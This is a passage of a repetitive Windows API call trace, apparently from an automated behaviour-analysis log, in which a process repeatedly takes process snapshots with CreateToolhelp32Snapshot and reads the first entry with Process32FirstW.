0x258 [0116.005] Process32FirstW (in: hSnapshot=0x258, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0116.143] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x284 [0116.146] Process32FirstW (in: hSnapshot=0x284, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0116.283] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x284 [0116.318] Process32FirstW (in: hSnapshot=0x284, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0116.455] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x284 [0116.457] Process32FirstW (in: hSnapshot=0x284, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0116.611] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x284 [0116.613] Process32FirstW (in: hSnapshot=0x284, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0116.772] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x284 [0116.778] Process32FirstW (in: hSnapshot=0x284, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0116.970] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x284 [0116.974] Process32FirstW (in: hSnapshot=0x284, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0117.173] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x284 [0117.176] Process32FirstW (in: hSnapshot=0x284, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0117.391] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x284 [0117.393] Process32FirstW (in: hSnapshot=0x284, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0117.562] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x284 [0117.572] Process32FirstW (in: hSnapshot=0x284, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0117.875] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x260 [0117.931] Process32FirstW (in: hSnapshot=0x260, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0118.155] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x284 [0118.159] Process32FirstW (in: hSnapshot=0x284, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0118.329] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x284 [0118.331] Process32FirstW (in: hSnapshot=0x284, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0118.514] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x284 [0118.517] Process32FirstW (in: hSnapshot=0x284, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0118.686] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x284 [0118.689] Process32FirstW (in: hSnapshot=0x284, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0118.826] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x284 [0118.860] Process32FirstW (in: hSnapshot=0x284, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0119.046] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x284 [0119.049] Process32FirstW (in: hSnapshot=0x284, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0119.216] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x27c [0119.219] Process32FirstW (in: hSnapshot=0x27c, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0119.425] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x27c [0119.452] Process32FirstW (in: hSnapshot=0x27c, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0119.653] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x27c [0119.656] Process32FirstW (in: hSnapshot=0x27c, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0119.952] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x27c [0119.955] Process32FirstW (in: hSnapshot=0x27c, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0120.153] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x27c [0120.157] Process32FirstW (in: hSnapshot=0x27c, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0120.308] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x27c [0120.314] Process32FirstW (in: hSnapshot=0x27c, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0120.464] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x27c [0120.467] Process32FirstW (in: hSnapshot=0x27c, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0120.604] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1b0 [0120.607] Process32FirstW (in: hSnapshot=0x1b0, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0120.823] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1b4 [0120.825] Process32FirstW (in: hSnapshot=0x1b4, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0120.969] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x27c [0121.000] Process32FirstW (in: hSnapshot=0x27c, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0121.168] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1b0 [0121.171] Process32FirstW (in: hSnapshot=0x1b0, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0121.324] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x27c [0121.347] Process32FirstW (in: hSnapshot=0x27c, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0121.501] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x260 [0121.504] Process32FirstW (in: hSnapshot=0x260, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0121.699] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x260 [0121.742] Process32FirstW (in: hSnapshot=0x260, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0122.002] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x260 [0122.005] Process32FirstW (in: hSnapshot=0x260, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0122.199] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1b4 [0122.202] Process32FirstW (in: hSnapshot=0x1b4, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0122.352] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1b4 [0122.354] Process32FirstW (in: hSnapshot=0x1b4, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0122.492] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x27c [0122.495] Process32FirstW (in: hSnapshot=0x27c, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0122.648] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x27c [0122.682] Process32FirstW (in: hSnapshot=0x27c, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0122.869] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x27c [0122.891] Process32FirstW (in: hSnapshot=0x27c, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0123.043] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x260 [0123.067] Process32FirstW (in: hSnapshot=0x260, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0123.241] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1b4 [0123.264] Process32FirstW (in: hSnapshot=0x1b4, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0123.412] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x260 [0123.421] Process32FirstW (in: hSnapshot=0x260, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0123.609] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x260 [0123.622] Process32FirstW (in: hSnapshot=0x260, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0123.833] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x260 [0123.835] Process32FirstW (in: hSnapshot=0x260, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0124.090] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1b4 [0124.115] Process32FirstW (in: hSnapshot=0x1b4, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0124.286] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1b4 [0124.309] Process32FirstW (in: hSnapshot=0x1b4, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0124.458] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1b4 [0124.475] Process32FirstW (in: hSnapshot=0x1b4, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0124.615] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x260 [0124.647] Process32FirstW (in: hSnapshot=0x260, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0124.864] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1b4 [0124.866] Process32FirstW (in: hSnapshot=0x1b4, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0125.129] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1b4 [0125.135] Process32FirstW (in: hSnapshot=0x1b4, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0125.587] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1b4 [0125.592] Process32FirstW (in: hSnapshot=0x1b4, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0125.804] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1b0 [0125.863] Process32FirstW (in: hSnapshot=0x1b0, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0126.149] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1b0 [0126.157] Process32FirstW (in: hSnapshot=0x1b0, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0126.410] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1b0 [0126.445] Process32FirstW (in: hSnapshot=0x1b0, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0126.664] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1b0 [0126.668] Process32FirstW (in: hSnapshot=0x1b0, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0126.923] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1b0 [0126.928] Process32FirstW (in: hSnapshot=0x1b0, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0127.110] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x27c [0127.113] Process32FirstW (in: hSnapshot=0x27c, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0127.266] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x284 [0127.269] Process32FirstW (in: hSnapshot=0x284, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0127.406] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1b4 [0127.409] Process32FirstW (in: hSnapshot=0x1b4, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0127.654] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x27c [0127.686] Process32FirstW (in: hSnapshot=0x27c, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0127.983] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x27c [0127.986] Process32FirstW (in: hSnapshot=0x27c, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0128.186] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x27c [0128.189] Process32FirstW (in: hSnapshot=0x27c, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0128.328] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x27c [0128.350] Process32FirstW (in: hSnapshot=0x27c, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0128.539] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1b0 [0128.552] Process32FirstW (in: hSnapshot=0x1b0, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0128.743] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1b0 [0128.745] Process32FirstW (in: hSnapshot=0x1b0, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0128.924] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1b0 [0128.927] Process32FirstW (in: hSnapshot=0x1b0, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0129.113] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1b0 [0129.144] Process32FirstW (in: hSnapshot=0x1b0, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0129.326] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x27c [0129.357] Process32FirstW (in: hSnapshot=0x27c, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0129.547] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x27c [0129.555] Process32FirstW (in: hSnapshot=0x27c, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, 